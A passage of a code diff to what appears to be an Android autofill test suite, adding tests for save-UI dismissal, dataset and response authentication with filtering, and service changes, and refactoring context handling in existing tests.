saveGoesAway(DismissType.BACK_BUTTON);
}
@Test
+ @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+ public void testSaveGoesAwayWhenTappingRecentsButton() throws Exception {
+ // Launches new activity first...
+ startCheckoutActivityAsNewTask();
+ try {
+ // .. then the real activity being tested.
+ sUiBot.switchAppsUsingRecents();
+ sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+ saveGoesAway(DismissType.RECENTS_BUTTON);
+ } finally {
+ CheckoutActivity.finishIt();
+ }
+ }
+
+ @Test
public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
saveGoesAway(DismissType.TOUCH_OUTSIDE);
}
- */
+
+ private void startCheckoutActivityAsNewTask() {
+ final Intent intent = new Intent(mContext, CheckoutActivity.class);
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_NEW_DOCUMENT | Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS);
+ mContext.startActivity(intent);
+ sUiBot.assertShownByRelativeId(CheckoutActivity.ID_ADDRESS);
+ }
private void saveGoesAway(DismissType dismissType) throws Exception {
enableService();
@@ -1241,6 +1258,10 @@
case TOUCH_OUTSIDE:
sUiBot.assertShownByText(expectedMessage).click();
break;
+ case RECENTS_BUTTON:
+ sUiBot.switchAppsUsingRecents();
+ sUiBot.assertShownByRelativeId(CheckoutActivity.ID_ADDRESS);
+ break;
default:
throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
}
@@ -1408,6 +1429,88 @@
}
@Test
+ public void testSaveNoRequiredField_NoneFilled() throws Exception {
+ optionalOnlyTest(FilledFields.NONE);
+ }
+
+ @Test
+ public void testSaveNoRequiredField_OneFilled() throws Exception {
+ optionalOnlyTest(FilledFields.USERNAME_ONLY);
+ }
+
+ @Test
+ public void testSaveNoRequiredField_BothFilled() throws Exception {
+ optionalOnlyTest(FilledFields.BOTH);
+ }
+
+ enum FilledFields {
+ NONE,
+ USERNAME_ONLY,
+ BOTH
+ }
+
+ private void optionalOnlyTest(FilledFields filledFields) throws Exception {
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
+ .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Sanity check.
+ sUiBot.assertNoDatasets();
+
+ // Wait for onFill() before proceeding, otherwise the fields might be changed before
+ // the session started
+ sReplier.getNextFillRequest();
+
+ // Set credentials...
+ final String expectedUsername;
+ if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
+ expectedUsername = BACKDOOR_USERNAME;
+ mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+ } else {
+ expectedUsername = "";
+ }
+ mActivity.onPassword(View::requestFocus);
+ if (filledFields == FilledFields.BOTH) {
+ mActivity.onPassword((v) -> v.setText("whatever"));
+ }
+
+ // ...and login
+ final String expectedMessage = getWelcomeMessage(expectedUsername);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+ if (filledFields == FilledFields.NONE) {
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+ assertNoDanglingSessions();
+ return;
+ }
+
+ // Assert the snack bar is shown and tap "Save".
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+ // Assert value of expected fields - should not be sanitized.
+ final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+ assertTextAndValue(username, BACKDOOR_USERNAME);
+
+ if (filledFields == FilledFields.BOTH) {
+ final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+ assertTextAndValue(password, "whatever");
+ }
+
+ // Sanity check: once saved, the session should be finished.
+ assertNoDanglingSessions();
+ }
+
+ @Test
public void testGenericSave() throws Exception {
customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
}
@@ -1505,7 +1608,7 @@
// Prepare the authenticated response
final Bundle clientState = new Bundle();
clientState.putString("numbers", "4815162342");
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
@@ -1594,7 +1697,7 @@
// Prepare the authenticated response
final Bundle clientState = new Bundle();
clientState.putString("numbers", "4815162342");
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
@@ -1650,15 +1753,20 @@
}
@Test
- public void testFillResponseAuthServiceHasNoData() throws Exception {
+ public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
- new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setId("name")
+ .setPresentation(createPresentation("Dataset"))
+ .build())
.build());
// Configure the service behavior
@@ -1667,6 +1775,66 @@
.setPresentation(createPresentation("Tap to auth response"))
.build());
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // Disables autofill so it's not triggered again after the auth activity is finished
+ // (and current session is canceled) and the login activity is resumed.
+ username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
+
+ // Autofill it.
+ final CountDownLatch latch = new CountDownLatch(1);
+ AuthenticationActivity.setResultCode(latch, RESULT_OK);
+
+ sUiBot.selectDataset("Tap to auth response");
+ callback.assertUiHiddenEvent(username);
+
+ // Cancel session...
+ mActivity.getAutofillManager().cancel();
+
+ // ...before finishing the Auth UI.
+ latch.countDown();
+
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
+ fillResponseAuthServiceHasNoDataTest(true);
+ }
+
+ @Test
+ public void testFillResponseAuthServiceHasNoData() throws Exception {
+ fillResponseAuthServiceHasNoDataTest(false);
+ }
+
+ private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Prepare the authenticated response
+ final CannedFillResponse response = canSave
+ ? new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build()
+ : CannedFillResponse.NO_RESPONSE;
+
+ final IntentSender authentication =
+ AuthenticationActivity.createSender(mContext, 1, response);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth response"))
+ .build());
+
// Trigger auto-fill.
mActivity.onUsername(View::requestFocus);
@@ -1682,6 +1850,75 @@
}
@Test
+ public void testFillResponseFiltering() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Prepare the authenticated response
+ final Bundle clientState = new Bundle();
+ clientState.putString("numbers", "4815162342");
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setId("name")
+ .setPresentation(createPresentation("Dataset"))
+ .build())
+ .setExtras(clientState).build());
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth response"))
+ .setExtras(clientState)
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // ..then type something to hide it.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert it's shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // ...and select it this time
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ sUiBot.selectDataset("Tap to auth response");
+ callback.assertUiHiddenEvent(username);
+ callback.assertUiShownEvent(username);
+ final UiObject2 picker = sUiBot.assertDatasets("Dataset");
+ sUiBot.selectDataset(picker, "Dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ final Bundle data = AuthenticationActivity.getData();
+ assertThat(data).isNotNull();
+ final String extraValue = data.getString("numbers");
+ assertThat(extraValue).isEqualTo("4815162342");
+ }
+
+ @Test
public void testDatasetAuthTwoFields() throws Exception {
datasetAuthTwoFields(false);
}
@@ -1701,7 +1938,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -1780,7 +2017,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
@@ -1841,7 +2078,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Create the authentication intent
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -1894,9 +2131,9 @@
.setField(ID_PASSWORD, "sweet")
.setPresentation(bogusPresentation)
.build();
- final IntentSender authentication1 = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
- final IntentSender authentication2 = AuthenticationActivity.createSender(getContext(), 2,
+ final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
unlockedDataset);
// Configure the service behavior
@@ -1953,7 +2190,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -2003,11 +2240,162 @@
}
@Test
+ public void testDatasetAuthFiltering() throws Exception {
+ // TODO: current API requires these fields...
+ final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+ final String bogusValue = "Y U REQUIRE IT?";
+
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(bogusPresentation)
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, bogusValue)
+ .setField(ID_PASSWORD, bogusValue)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // ..then type something to hide it.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert it's shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // ...and select it this time
+ sUiBot.selectDataset("Tap to auth dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
+ public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
+ datasetAuthMixedFilteringTest(true);
+ }
+
+ @Test
+ public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
+ datasetAuthMixedFilteringTest(false);
+ }
+
+ private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
+ // TODO: current API requires these fields...
+ final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+ final String bogusValue = "Y U REQUIRE IT?";
+
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE")
+ .setField(ID_PASSWORD, "SWEET")
+ .setPresentation(bogusPresentation)
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, bogusValue)
+ .setField(ID_PASSWORD, bogusValue)
+ .setPresentation(createPresentation("Tap to auth dataset"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("What, me auth?"))
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ if (selectAuth) {
+ mActivity.expectAutoFill("DUDE", "SWEET");
+ } else {
+ mActivity.expectAutoFill("dude", "sweet");
+ }
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+ // Filter the auth dataset.
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("What, me auth?");
+
+ // Filter all.
+ runShellCommand("input keyevent KEYCODE_W");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert the non-auth is shown again.
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("What, me auth?");
+
+ // Delete again and assert all dataset are shown.
+ runShellCommand("input keyevent KEYCODE_DEL");
+ sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+ // ...and select it this time
+ final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+ sUiBot.selectDataset(chosenOne);
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testDisableSelf() throws Exception {
enableService();
// Can disable while connected.
- mActivity.runOnUiThread(() -> getContext().getSystemService(
+ mActivity.runOnUiThread(() -> mContext.getSystemService(
AutofillManager.class).disableAutofillServices());
// Ensure disabled.
@@ -2024,7 +2412,7 @@
// Configure the save UI.
final IntentSender listener = PendingIntent.getBroadcast(
- getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+ mContext, 0, new Intent(intentAction), 0).getIntentSender();
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
@@ -2045,10 +2433,10 @@
// Start watching for the negative intent
final CountDownLatch latch = new CountDownLatch(1);
final IntentFilter intentFilter = new IntentFilter(intentAction);
- getContext().registerReceiver(new BroadcastReceiver() {
+ mContext.registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- getContext().unregisterReceiver(this);
+ mContext.unregisterReceiver(this);
latch.countDown();
}
}, intentFilter);
@@ -2073,7 +2461,7 @@
// Configure the save UI.
final IntentSender listener = PendingIntent.getBroadcast(
- getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+ mContext, 0, new Intent(intentAction), 0).getIntentSender();
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
@@ -2094,10 +2482,10 @@
// Start watching for the negative intent
final CountDownLatch latch = new CountDownLatch(1);
final IntentFilter intentFilter = new IntentFilter(intentAction);
- getContext().registerReceiver(new BroadcastReceiver() {
+ mContext.registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- getContext().unregisterReceiver(this);
+ mContext.unregisterReceiver(this);
latch.countDown();
}
}, intentFilter);
@@ -2414,6 +2802,7 @@
.build();
for (int i = 1; i <= 3; i++) {
+ Log.i(TAG, "testCommitMultipleTimes(): step " + i);
final String username = "user-" + i;
final String password = "pass-" + i;
try {
@@ -2456,9 +2845,8 @@
waitUntilDisconnected();
assertNoDanglingSessions();
-
} catch (RetryableException e) {
- throw e;
+ throw new RetryableException(e, "on step %d", i);
} catch (Throwable t) {
throw new Throwable("Error on step " + i, t);
}
@@ -2471,6 +2859,7 @@
enableService();
for (int i = 1; i <= 3; i++) {
+ Log.i(TAG, "testCancelMultipleTimes(): step " + i);
final String username = "user-" + i;
final String password = "pass-" + i;
sReplier.addResponse(new CannedDataset.Builder()
@@ -2513,17 +2902,16 @@
// Set service.
enableService();
- Intent intent = new Intent(getContext(), EmptyActivity.class);
- IntentSender sender = PendingIntent.getActivity(getContext(), 0, intent,
+ Intent intent = new Intent(mContext, EmptyActivity.class);
+ IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT)
.getIntentSender();
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.list_item);
+ RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
presentation.setTextViewText(R.id.text1, "Poke");
- Intent firstIntent = new Intent(getContext(), DummyActivity.class);
+ Intent firstIntent = new Intent(mContext, DummyActivity.class);
presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
- getContext(), 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
+ mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
| PendingIntent.FLAG_CANCEL_CURRENT));
// Set expectations.
@@ -2560,7 +2948,7 @@
clientState.putCharSequence("clientStateKey", "clientStateValue");
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
@@ -2575,6 +2963,7 @@
.setAuthentication(authentication)
.build())
.setExtras(clientState).build());
+ mActivity.expectAutoFill("dude", "sweet");
// Trigger autofill.
mActivity.onUsername(View::requestFocus);
@@ -2582,22 +2971,18 @@
// Authenticate
sUiBot.selectDataset("authentication");
sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
- eventually(() -> {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+ "clientStateValue");
- assertThat(selection.getEvents().size()).isEqualTo(2);
- FillEventHistory.Event event1 = selection.getEvents().get(0);
- assertThat(event1.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
- assertThat(event1.getDatasetId()).isEqualTo("name");
- FillEventHistory.Event event2 = selection.getEvents().get(1);
- assertThat(event2.getType()).isEqualTo(TYPE_DATASET_SELECTED);
- assertThat(event2.getDatasetId()).isNull();
- });
+ assertThat(selection.getEvents().size()).isEqualTo(1);
+ FillEventHistory.Event event = selection.getEvents().get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
+ assertThat(event.getDatasetId()).isEqualTo("name");
}
@Test
@@ -2609,7 +2994,7 @@
clientState.putCharSequence("clientStateKey", "clientStateValue");
// Prepare the authenticated response
- final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setField(ID_USERNAME, "username")
@@ -2629,19 +3014,18 @@
// Authenticate
sUiBot.selectDataset("authentication");
sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset");
- eventually(() -> {
- // Verify fill selection
- FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
- .getFillEventHistory();
- assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
- "clientStateValue");
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+ "clientStateValue");
- assertThat(selection.getEvents().size()).isEqualTo(1);
- FillEventHistory.Event event = selection.getEvents().get(0);
- assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
- assertThat(event.getDatasetId()).isNull();
- });
+ assertThat(selection.getEvents().size()).isEqualTo(1);
+ FillEventHistory.Event event = selection.getEvents().get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
+ assertThat(event.getDatasetId()).isNull();
}
@Test
@@ -2655,13 +3039,16 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
// Trigger autofill on username
mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
sUiBot.selectDataset("dataset1");
sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2671,7 +3058,7 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Set up second partition with a named dataset
Bundle clientState = new Bundle();
@@ -2692,13 +3079,15 @@
.build())
.setExtras(clientState)
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+ mActivity.expectPasswordAutoFill("password3");
// Trigger autofill on password
mActivity.onPassword(View::requestFocus);
sUiBot.selectDataset("dataset3");
sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2709,12 +3098,13 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isEqualTo("name3");
- });
+ }
mActivity.onPassword((v) -> v.setText("new password"));
mActivity.syncRunOnUiThread(() -> mActivity.finish());
+ waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2729,7 +3119,7 @@
FillEventHistory.Event event2 = selection.getEvents().get(1);
assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
assertThat(event2.getDatasetId()).isNull();
- });
+ }
}
@Test
@@ -2743,11 +3133,15 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
+
mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
sReplier.getNextFillRequest();
sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2757,20 +3151,21 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Second request
sReplier.addResponse(NO_RESPONSE);
mActivity.onPassword(View::requestFocus);
sReplier.getNextFillRequest();
sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertThat(selection).isNull();
- });
+ }
}
@Test
@@ -2784,12 +3179,15 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
+
mActivity.onUsername(View::requestFocus);
waitUntilConnected();
sReplier.getNextFillRequest();
sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2799,20 +3197,21 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Second request
sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
mActivity.onPassword(View::requestFocus);
sReplier.getNextFillRequest();
sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertThat(selection).isNull();
- });
+ }
}
@Test
@@ -2826,12 +3225,15 @@
.setPresentation(createPresentation("dataset1"))
.build())
.build());
+ mActivity.expectAutoFill("username");
+
mActivity.onUsername(View::requestFocus);
waitUntilConnected();
sReplier.getNextFillRequest();
sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
@@ -2841,7 +3243,7 @@
FillEventHistory.Event event = selection.getEvents().get(0);
assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
assertThat(event.getDatasetId()).isNull();
- });
+ }
// Second request
sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
@@ -2849,12 +3251,12 @@
sReplier.getNextFillRequest();
waitUntilDisconnected();
- eventually(() -> {
+ {
// Verify fill selection
FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
.getFillEventHistory();
assertThat(selection).isNull();
- });
+ }
}
private Bundle getBundle(String key, String value) {
@@ -2898,7 +3300,7 @@
assertThat(selectionA.getEvents()).isNull();
// Launch activity B
- getContext().startActivity(new Intent(getContext(), CheckoutActivity.class));
+ mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
// Trigger autofill on activity B
sReplier.addResponse(new CannedFillResponse.Builder()
@@ -2920,6 +3322,7 @@
// Now switch back to A...
sUiBot.pressBack(); // dismiss keyboard
sUiBot.pressBack(); // dismiss task
+ sUiBot.assertShownByRelativeId(ID_USERNAME);
// ...and trigger save
// Set credentials...
mActivity.onUsername((v) -> v.setText("malkovich"));
@@ -2961,10 +3364,133 @@
// Now disable user_complete and try again.
try {
- setUserComplete(getContext(), false);
+ setUserComplete(mContext, false);
assertThat(afm.isEnabled()).isFalse();
} finally {
- setUserComplete(getContext(), true);
+ setUserComplete(mContext, true);
}
}
+
+ @Test
+ public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+
+ // Now disable service by setting another service
+ Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
+
+ // ...and make sure popup's gone
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testAutofillMovesCursorToTheEnd() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
